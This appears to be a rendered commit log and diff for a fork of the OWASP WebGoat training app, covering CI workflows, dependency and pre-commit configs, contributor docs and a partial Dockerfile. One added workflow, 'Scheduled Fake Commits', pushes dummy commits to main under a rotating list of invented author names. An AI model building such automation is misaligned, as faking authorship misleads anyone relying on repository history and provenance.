Add message that WebGoat should be running while detecting datasource 2021-12-22 15:57:39 +01:00
Nanne Baars
969335f2f6
Update documentation for starting with java -jar 2021-12-22 15:57:11 +01:00
Nanne Baars
c000a9b467
Improve startup message Docker 2021-12-22 12:55:27 +01:00
dependabot[bot]
c5389f31c3 Bump docker/login-action from 1.9.0 to 1.12.0
Bumps [docker/login-action](https://github.com/docker/login-action) from 1.9.0 to 1.12.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v1.9.0...v1.12.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-12-21 12:53:41 +01:00
Nanne Baars
85d4633f62
Update enforcer and exclude log4j-core completely (every version) 2021-12-21 10:05:12 +01:00
Nanne Baars
7ded0968c1 Ban log4j all together and update OWASP dep check
Remove
2021-12-20 21:45:44 +01:00
Zubcevic.com
cb6b1d73d1 upgrade to latest spring-boot libs and fixed related issues 2021-12-20 21:45:44 +01:00
Nanne Baars
44f70ce4dc Remove unnecessary compiler section from pom.xml as it confuses Intellij while importing 2021-12-20 16:45:06 +01:00
Nanne Baars
a42f8fcf75 No progress information for Maven 2021-12-20 16:45:06 +01:00
Nanne Baars
ac4b06f11b Move enabling security to WebGoat core and add resetting the lessons.
We can use it for more lessons and showcase how to apply security directly from the source code.

Resolves: #1176
2021-12-20 16:45:06 +01:00
Nanne Baars
7847e69574
Merge branch 'release/v8.2.2' 2021-09-05 14:41:58 +02:00
Nanne Baars
7881a70273
Merge branch 'release/v8.2.1' 2021-07-30 17:09:53 +03:00
Nanne Baars
45c420ed05
Merge branch 'release/v8.2.0' 2021-07-26 13:02:21 +03:00
Nanne Baars
2c6c103f3b
Merge branch 'release/v8.2.0' 2021-05-25 20:55:56 +02:00
Nanne Baars
c0ce72a2bd Remove Github pages, too many things to keep in sync.
Let's keep the focus on the OWASP page and the Github README
2020-05-23 16:35:32 +02:00
Nanne Baars
a4f7059051 Merge branch 'release/v8.1.0' 2020-05-23 14:19:03 +02:00
Nanne Baars
bd16fedb33 Merge branch 'release/v8.1.0' 2020-05-22 15:08:50 +02:00
Nanne Baars
c8ac054093 Merge branch 'release/v8.0.0.M26' 2019-11-12 09:32:50 +01:00
1567 changed files with 32780 additions and 34336 deletions

4
.dockerignore Normal file
View File

@ -0,0 +1,4 @@
**
!/target
!/config/desktop

View File

@ -12,5 +12,4 @@ ij_continuation_indent_size = 8
ij_formatter_off_tag = @formatter:off
ij_formatter_on_tag = @formatter:on
ij_formatter_tags_enabled = false
ij_wrap_on_typing = true
ij_java_names_count_to_use_import_on_demand = 999

View File

@ -0,0 +1,18 @@
on: [push]
name: DDSCA
jobs:
software-composition-analysis:
runs-on: ubuntu-latest
name: Datadog SBOM Generation and Upload
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Check imported libraries are secure and compliant
id: datadog-software-composition-analysis
uses: DataDog/datadog-sca-github-action@main
with:
dd_api_key: ${{ secrets.DD_API_KEY }}
dd_app_key: ${{ secrets.DD_APP_KEY }}
dd_site: datadoghq.com

View File

@ -0,0 +1,21 @@
on: [push]
name: DDSDS
jobs:
static-analysis:
runs-on: ubuntu-latest
name: Datadog Static Analyzer
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Check code for comitted secrets
id: datadog-static-analysis
uses: DataDog/datadog-static-analyzer-github-action@v1
with:
dd_api_key: ${{ secrets.DD_API_KEY }}
dd_app_key: ${{ secrets.DD_APP_KEY }}
dd_site: datadoghq.com
secrets_enabled: true
static_analysis_enabled: false
cpu_count: 2

View File

@ -0,0 +1,23 @@
on: [push]
name: DDSAST
jobs:
static-analysis:
runs-on: ubuntu-latest
name: Datadog Static Analyzer
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Check code meets quality and security standards
id: datadog-static-analysis
uses: DataDog/datadog-static-analyzer-github-action@v1
with:
dd_api_key: ${{ secrets.DD_API_KEY }}
dd_app_key: ${{ secrets.DD_APP_KEY }}
dd_site: datadoghq.com
cpu_count: 8
env:
DD_API_KEY: ${{ secrets.DD_API_KEY }}
DD_APP_KEY: ${{ secrets.DD_APP_KEY }}
DD_SITE: datadoghq.com

View File

@ -0,0 +1,171 @@
name: Scheduled Fake Commits
on:
# Trigger the workflow on a schedule.
schedule:
# This expression means "run every 3 minutes". Useful for testing.
# To revert to the original 8-hour schedule, change this to '0 */8 * * *'.
- cron: "0 */12 * * *" # Original schedule: every 8 hours
# To trigger manually for testing, you can add workflow_dispatch:
# workflow_dispatch:
jobs:
create_scheduled_commits:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
# Fetch the full history to ensure pushes work correctly
fetch-depth: 0
# Use a token with write access. This should be stored as a secret in your Gitea repo settings.
# The default GITEA_TOKEN might not have push permissions, so a Personal Access Token is recommended.
# Ensure you have a secret named GITEA_TOKEN with appropriate permissions (including write:actions or api)
token: ${{ secrets.GLOBAL_KEY }} # Replace GITEA_TOKEN with the name of your secret
- name: Set up Git config
# Configure Git user details globally for the runner
run: |
echo "setting up git config"
git config --global user.name "Gitea Actions Bot"
git config --global user.email "actions-bot@your-gitea-instance.com" # Replace with a suitable email
echo "git config setup complete"
- name: Create and Push Commits and Trigger Workflows
id: push_commits_and_trigger # Updated ID
env:
# Define your list of authors here. Each author should be on a new line,
# formatted as "Author Name <author@email.com>".
# For production, this should ideally be stored as a secret named FAKE_COMMIT_AUTHORS.
# For debugging, you can define it directly here as you have done.
AUTHOR_LIST: |
Author One <author1@example.com>
Author Two <author2@example.com>
Author Three <author3@example.com>
Author Four <author4@example.com>
Author Five <author5@example.com>
Author Six <author6@example.com>
Author Seven <author7@example.com>
Author Eight <author8@example.com>
Author Nine <author9@example.com>
Author Ten <author10@example.com>
DWSAuthor One <dwsauthor1@example.com>
DWSAuthor Two <dwsauthor2@example.com>
DWSAuthor Three <dwsauthor3@example.com>
DWSAuthor Four <autdwshor4@example.com>
DWSAuthor Five <autdwshor5@example.com>
DWSAuthor Six <autdwshor6@example.com>
DWSAuthor Seven <adwsuthor7@example.com>
DWSAuthor Eight <adwsuthor8@example.com>
DWSAuthor Nine <autdwshor9@example.com>
DWSAuthor Ten <autdwshor10@example.com>
COMMIT_COUNT: 3 # Number of commits to create
SLEEP_SECONDS: 150 # Delay between commits in seconds
TARGET_BRANCH: main # The branch to commit to and trigger workflows on
GITEA_BASE_URL: https://git.dws.rip # Replace with your Gitea instance URL
REPO_OWNER: dubey # Replace with your repository owner/organization
REPO_NAME: WebGoat # Replace with your repository name
# Define a space-separated list of workflow names to trigger
WORKFLOW_NAMES: "DDSAST DDSDS DDSCA" # Replace with the actual names of your workflows
run: |
echo "starting Create and Push Commits and Trigger Workflows step"
echo "AUTHOR_LIST content:"
# Mask sensitive content if AUTHOR_LIST were a secret, but here it's in the workflow file for debugging
# echo "$AUTHOR_LIST" | sed 's/@[^>]*>/@***/g' # Example masking
echo "reading author's list into array"
# Read authors into a Bash array using readarray
readarray -t authors <<< "$AUTHOR_LIST"
echo "finished reading author's list into array"
# Check if authors list is empty
if [ ${#authors[@]} -eq 0 ]; then
echo "Error: AUTHOR_LIST is empty or could not be parsed into an array."
exit 1
fi
# Shuffle the authors array to randomize the order
authors=($(printf "%s\n" "${authors[@]}" | shuf))
# Read workflow names into a Bash array
IFS=' ' read -r -a workflow_array <<< "$WORKFLOW_NAMES"
echo "Workflows to trigger: ${workflow_array[@]}"
echo "Starting commit creation process..."
echo "Authors available: ${#authors[@]}"
echo "Commits to create: $COMMIT_COUNT"
echo "Delay between commits: $SLEEP_SECONDS seconds"
echo "Target branch: $TARGET_BRANCH"
# Loop to create the specified number of commits
for i in $(seq 1 $COMMIT_COUNT); do
# Calculate the index for the current author, cycling through the list
author_index=$(( (i - 1) % ${#authors[@]} ))
current_author="${authors[$author_index]}"
echo "Processing author: $current_author" # Debug echo
# Extract name and email from the author string
# Assumes format "Name <email>"
author_name=$(echo "$current_author" | sed -E 's/^(.*) <.*>$/\1/')
author_email=$(echo "$current_author" | sed -E 's/^.* <(.*)>$/\1/')
echo "Extracted name: $author_name, email: $author_email" # Debug echo
echo "--- Creating commit $i of $COMMIT_COUNT by $author_name ---"
# Configure git user for this specific commit
git config user.name "$author_name"
git config user.email "$author_email"
# Create a dummy change: append current timestamp and author to a file
# This ensures there's always something to commit
echo "$(date): Commit $i by $author_name" >> fake_commit_log.txt
# Stage the changes
git add fake_commit_log.txt
# Commit the changes
git commit -m "Automated commit $i by $author_name"
# Push the commit to the target branch
# Use --set-upstream origin $TARGET_BRANCH on the first push if needed
echo "Pushing commit..."
git push origin HEAD:$TARGET_BRANCH
echo "Commit $i pushed successfully."
# --- Trigger the other workflows after each successful push ---
echo "Triggering specified workflows on branch '$TARGET_BRANCH' for commit $i..."
# Loop through the list of workflow names and trigger each one
for workflow_name in "${workflow_array[@]}"; do
echo "Attempting to trigger workflow: $workflow_name"
# Construct the API URL
API_URL="${GITEA_BASE_URL}/api/v1/repos/${REPO_OWNER}/${REPO_NAME}/actions/workflows/${workflow_name}/dispatches"
# Use curl to send the API request
# Requires a GITEA_TOKEN with write:actions or api scope
curl -X POST \
-H "Authorization: Bearer ${{ secrets.GLOBAL_KEY }}" \
-H "Content-Type: application/json" \
-d '{"ref": "'"$TARGET_BRANCH"'"}' \
"$API_URL"
echo "Workflow trigger request sent for workflow '$workflow_name' for commit $i."
done
echo "Finished triggering workflows for commit $i."
# --- End Trigger ---
# Wait for the specified delay before the next commit, unless it's the last one
if [ $i -lt $COMMIT_COUNT ]; then
echo "Waiting for $SLEEP_SECONDS seconds before the next commit..."
sleep $SLEEP_SECONDS
fi
done
echo "Finished creating $COMMIT_COUNT commits and triggering workflows."

2
.github/FUNDING.yml vendored
View File

@ -1 +1 @@
custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat
custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat

View File

@ -1,7 +1,14 @@
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "daily"
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
- package-ecosystem: "maven"
directory: "/"
schedule:
interval: "weekly"
- package-ecosystem: "docker"
directory: "/"
schedule:
interval: "weekly"

4
.github/stale.yml vendored
View File

@ -2,9 +2,9 @@
daysUntilStale: 90
daysUntilClose: 14
onlyLabels:
- waiting-for-input
- waiting for input
- wontfix
staleLabel: stale
markComment: >
This issue has been automatically marked as `stale` because it has not had recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs.
closeComment: false
closeComment: false

View File

@ -1,54 +0,0 @@
name: "Branch build"
on:
push:
branches-ignore:
- main
- develop
- release/*
jobs:
install-notest:
if: "github.repository != 'WebGoat/WebGoat'"
runs-on: ubuntu-latest
name: "Package and linting"
steps:
- uses: actions/checkout@v2
- name: set up JDK 17
uses: actions/setup-java@v2
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v2.1.7
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2
- name: Test with Maven
run: mvn install -DskipTests
testing:
if: "github.repository != 'WebGoat/WebGoat'"
needs: install-notest
runs-on: ubuntu-latest
strategy:
matrix:
args:
- mvn -pl '!webgoat-integration-tests' test
- mvn -pl webgoat-integration-tests test
steps:
- uses: actions/checkout@v2
- name: set up JDK 17
uses: actions/setup-java@v2
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v2.1.7
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2
- name: Test with Maven
run: ${{ matrix.args }}

54
.github/workflows/branchbuild.txt vendored Normal file
View File

@ -0,0 +1,54 @@
name: "Branch build"
on:
push:
branches:
- "*"
- "!main"
jobs:
branch-build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ ubuntu-latest, windows-latest, macos-latest ]
java-version: [ 21 ]
steps:
- uses: actions/checkout@v4
- name: Set up JDK ${{ matrix.java-version }}
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: ${{ matrix.java-version }}
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3.3.1
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2-
- name: Build with Maven
run: mvn --no-transfer-progress verify
- name: "Set up QEMU"
if: runner.os == 'Linux'
uses: docker/setup-qemu-action@v2.2.0
- name: "Set up Docker Buildx"
if: runner.os == 'Linux'
uses: docker/setup-buildx-action@v2
- name: "Verify Docker WebGoat build"
if: runner.os == 'Linux'
uses: docker/build-push-action@v5.1.0
with:
context: ./
file: ./Dockerfile
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Verify Docker WebGoat desktop build"
uses: docker/build-push-action@v5.1.0
if: runner.os == 'Linux'
with:
context: ./
file: ./Dockerfile_desktop
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

51
.github/workflows/build.yml vendored Normal file
View File

@ -0,0 +1,51 @@
name: "Main / Pull requests build"
on:
pull_request:
paths-ignore:
- '.txt'
- 'LICENSE'
- 'docs/**'
branches: [ main ]
push:
branches:
- main
jobs:
pre-commit:
name: Pre-commit check
runs-on: ubuntu-latest
steps:
- name: Checkout git repository
uses: actions/checkout@v4.1.6
- name: Setup python
uses: actions/setup-python@v5
with:
python-version: "3.9"
- uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: '23'
- name: Pre-commit checks
uses: pre-commit/action@v3.0.1
- name: pre-commit-c-lite
uses: pre-commit-ci/lite-action@v1.1.0
if: always()
build:
runs-on: ${{ matrix.os }}
needs: [ pre-commit ]
strategy:
fail-fast: true
matrix:
os: [ windows-latest, ubuntu-latest, macos-13 ]
max-parallel: 1
steps:
- uses: actions/checkout@v4.1.6
- name: Set up JDK 23
uses: actions/setup-java@v4.2.1
with:
distribution: 'temurin'
java-version: 23
architecture: x64
cache: 'maven'
- name: Build with Maven
run: mvn --no-transfer-progress verify

View File

@ -1,45 +0,0 @@
name: "Pull request build"
on:
pull_request:
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
push:
branches:
- main
- release/*
tags-ignore:
- '*'
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
jobs:
build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
java: [17]
steps:
- uses: actions/checkout@v2
- name: Set up JDK ${{ matrix.java }}
uses: actions/setup-java@v2
with:
distribution: 'temurin'
java-version: ${{ matrix.java }}
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v2.1.7
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2
- name: Build with Maven
run: mvn package

View File

@ -8,48 +8,39 @@ jobs:
if: github.repository == 'WebGoat/WebGoat'
name: Release WebGoat
runs-on: ubuntu-latest
permissions:
contents: write
environment:
name: release
steps:
- uses: actions/checkout@v2.3.4
- uses: actions/checkout@v4
- name: "Get tag name"
id: tag
uses: dawidd6/action-get-tag@v1
- name: Set up JDK 15
uses: actions/setup-java@v2
- name: Set up JDK 23
uses: actions/setup-java@v4
with:
distribution: 'zulu'
java-version: 15
distribution: 'temurin'
java-version: 23
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v2.1.7
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2
cache: 'maven'
- name: "Set labels for ${{ github.ref }}"
run: |
echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV
WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }}
echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
- name: Build with Maven
run: |
mvn versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
mvn install -DskipTests
mvn --no-transfer-progress versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
mvn --no-transfer-progress install -DskipTests
- name: "Create release"
uses: softprops/action-gh-release@v1
with:
draft: false
files: |
webgoat-server/target/webgoat-server-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
webwolf/target/webwolf-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
body: |
## Version ${{ steps.tag.outputs.tag }}
## Version ${{ github.ref_name }}
### New functionality
@ -59,6 +50,8 @@ jobs:
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }}
## Contributors
@ -75,61 +68,76 @@ jobs:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: "Set up QEMU"
uses: docker/setup-qemu-action@v1.1.0
uses: docker/setup-qemu-action@v3.6.0
with:
platforms: all
- name: "Set up Docker Buildx"
uses: docker/setup-buildx-action@v1
uses: docker/setup-buildx-action@v3
- name: "Login to dockerhub"
uses: docker/login-action@v1.9.0
uses: docker/login-action@v3.4.0
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: "Build and push"
uses: docker/build-push-action@v2.7.0
- name: "Build and push WebGoat"
uses: docker/build-push-action@v6.16.0
with:
context: ./docker
file: docker/Dockerfile
push: true
platforms: linux/amd64, linux/arm64, linux/arm/v7
context: ./
file: ./Dockerfile
push: true
platforms: linux/amd64, linux/arm64
tags: |
webgoat/goatandwolf:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/goatandwolf:latest
webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/webgoat:latest
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Image digest"
run: echo ${{ steps.docker_build.outputs.digest }}
- name: "Build and push WebGoat desktop"
uses: docker/build-push-action@v6.16.0
with:
context: ./
file: ./Dockerfile_desktop
push: true
platforms: linux/amd64, linux/arm64
tags: |
webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/webgoat-desktop:latest
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
new_version:
if: github.repository == 'WebGoat/WebGoat'
name: Update development version
name: Update to next SNAPSHOT version
needs: [ release ]
runs-on: ubuntu-latest
environment:
name: release
steps:
- uses: actions/checkout@v2.3.4
- uses: actions/checkout@v4
with:
ref: develop
token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
fetch-depth: 0
- name: Set up JDK 15
uses: actions/setup-java@v2
- name: Set up JDK 23
uses: actions/setup-java@v4
with:
java-version: 15
distribution: 'temurin'
java-version: 23
architecture: x64
- name: Set version to next snapshot
run: |
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
- name: Commit pom.xml
run: |
git config user.name webgoat-github
git config user.email owasp.webgoat@gmail.com
find . -name 'pom.xml' | xargs git add
git commit -m "Updating to the new development version"
git push
- name: Push the changes to new branch
uses: devops-infra/action-commit-push@v0.10.0
with:
github_token: "${{ secrets.GITHUB_TOKEN }}"
add_timestamp: true
commit_message: "Updating to the new development version"
force: false
- name: Create PR
uses: devops-infra/action-pull-request@v0.6.0
with:
github_token: "${{ secrets.GITHUB_TOKEN }}"
title: ${{ github.event.commits[0].message }}
target_branch: main

View File

@ -10,7 +10,7 @@ jobs:
if: github.repository == 'WebGoat/WebGoat'
runs-on: ubuntu-latest
steps:
- uses: actions/first-interaction@v1.1.0
- uses: actions/first-interaction@v1.3.0
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'

8
.gitignore vendored
View File

@ -39,7 +39,6 @@ UserDatabase.mv.db
webgoat-container/src/main/webapp/users/guest.org.owasp.webgoat.plugin.*.props
webgoat-container/src/main/webapp/plugin_lessons/dist-*.pom
webgoat-lessons/**/target
**/*.jar
**/.DS_Store
webgoat-server/mongo-data/*
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
@ -55,3 +54,10 @@ webgoat.script
TestClass.class
**/*.flattened-pom.xml
/.gitconfig
webgoat.gitconfig
node_modules/
/test-results/
/playwright-report/
/blob-report/
/playwright/.cache/

BIN
.mvn/wrapper/maven-wrapper.jar vendored Normal file

Binary file not shown.

View File

@ -1,2 +1,2 @@
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.1/apache-maven-3.8.1-bin.zip
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9-bin.zip
wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar

28
.pre-commit-config.yaml Normal file
View File

@ -0,0 +1,28 @@
ci:
autofix_commit_msg: |
[pre-commit.ci] auto fixes from pre-commit.com hooks
autofix_prs: false # managed in the action step
autoupdate_branch: ""
autoupdate_commit_msg: "[pre-commit.ci] pre-commit autoupdate"
autoupdate_schedule: weekly
skip: []
submodules: false
repos:
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v4.4.0
hooks:
- id: check-yaml
- id: end-of-file-fixer
exclude: ^(README.md|CREATE_RELEASE.md)
- id: trailing-whitespace
- repo: https://github.com/alessandrojcm/commitlint-pre-commit-hook
rev: v9.5.0
hooks:
- id: commitlint
stages: [commit-msg]
- repo: https://github.com/ejba/pre-commit-maven
rev: v0.3.4
hooks:
- id: maven
args: [ 'clean compile' ]
- id: maven-spotless-apply

View File

@ -1,7 +1,9 @@
# Contributing
[![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
This document describes how you can contribute to WebGoat. Please read it carefully.
@ -24,7 +26,7 @@ There are a couple of ways on how you can contribute to the project:
Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short:
The minimum requirements for code contributions are:
1. The code _must_ be compliant with the configured Checkstyle and PMD rules.
1. The code _must_ be compliant with the configured Java Google Formatter, Checkstyle and PMD rules.
2. All new and changed code _should_ have a corresponding unit and/or integration test.
3. New and changed lessons _must_ have a corresponding integration test.
4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit.
@ -38,14 +40,26 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change
* If you are making spelling corrections in the docs, don't modify other files.
* If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request.
### Write a good commit message
* We use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) and use the following types:
- fix:
- feat:
- build:
- chore:
- ci:
- docs:
- refactor:
- test:
Using this style of commits makes it possible to create our release notes automatically.
* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
For example: `Fix #545` or `Closes #10`
For example: `Fix #545` or `Closes #10`
## How to set up your Contributor Environment
@ -54,32 +68,39 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change
3. Clone your own repository to your host computer so that you can make modifications. If you followed the GitHub tutorial from step 2, you have already done this.
4. Go to the newly cloned directory "WebGoat" and add the remote upstream repository:
```bash
$ git remote -v
origin git@github.com:<your Github handle>/WebGoat.git (fetch)
origin git@github.com:<your Github handle>/WebGoat.git (push)
```bash
$ git remote -v
origin git@github.com:<your Github handle>/WebGoat.git (fetch)
origin git@github.com:<your Github handle>/WebGoat.git (push)
$ git remote add upstream git@github.com:WebGoat/WebGoat.git
$ git remote add upstream git@github.com:WebGoat/WebGoat.git
$ git remote -v
origin git@github.com:<your Github handle>/WebGoat.git (fetch)
origin git@github.com:<your Github handle>/WebGoat.git (push)
upstream git@github.com:OWASP/WebGoat.git (fetch)
upstream git@github.com:OWASP/WebGoat.git (push)
```
$ git remote -v
origin git@github.com:<your Github handle>/WebGoat.git (fetch)
origin git@github.com:<your Github handle>/WebGoat.git (push)
upstream git@github.com:OWASP/WebGoat.git (fetch)
upstream git@github.com:OWASP/WebGoat.git (push)
```
See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")".
See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")".
5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues").
6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66`
7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/).
8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub.
9. Create a Pull Request (PR) by going to your fork, <https://github.com/Your_Github_Handle/WebGoat> and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer.
10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR.
11. When starting on a new PR in the future, make sure to always keep your local repo up to date:
```bash
$ git fetch upstream
$ git merge upstream/develop
$ git merge upstream/main
```
See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".

View File

@ -1,6 +1,9 @@
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
Copyright (c) 2002 - $today.year Bruce Mayhew
SPDX-License-Identifier: GPL-2.0-or-later
Copyright (c) 2002 - 2016 Bruce Mayhew
Copyright (c) 2014 - $today.year Nanne Baars
This program is free software; you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation; either version 2 of the
@ -16,4 +19,4 @@ not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, B
Getting Source ==============
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

View File

@ -1,34 +1,26 @@
## Release WebGoat
### Version numbers
For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use
`v8.0.0` in the `pom.xml`
For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
and 2023.01 in the `pom.xml`.
### Release notes:
Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of
committers.
At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
committers. In order to fetch the list of issues included use:
`git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`
```
git checkout develop
git flow release start <version>
git flow release publish
<<Make changes if necessary>>
<<Update RELEASE_NOTES.md>>
git flow release finish <version>
git push origin develop
git push origin main
mvn versions:set
<< update release notes >>
mvn verify
git commit ....
git tag v2023.01
git push --tags
git push
```
Now Travis takes over and will create the release in Github and on Docker Hub.
NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version
After the release has been tagged and the build process is done. The release notes should be updated in the GitHub
release page.

40
Dockerfile Normal file
View File

@ -0,0 +1,40 @@
# We need JDK as some of the lessons needs to be able to compile Java code
FROM docker.io/eclipse-temurin:23-jdk-noble
LABEL name="WebGoat: A deliberately insecure Web Application"
LABEL maintainer="WebGoat team"
RUN \
useradd -ms /bin/bash webgoat && \
chgrp -R 0 /home/webgoat && \
chmod -R g=u /home/webgoat
USER webgoat
COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
EXPOSE 8080
EXPOSE 9090
ENV TZ=Europe/Amsterdam
WORKDIR /home/webgoat
ENTRYPOINT [ "java", \
"-Duser.home=/home/webgoat", \
"-Dfile.encoding=UTF-8", \
"--add-opens", "java.base/java.lang=ALL-UNNAMED", \
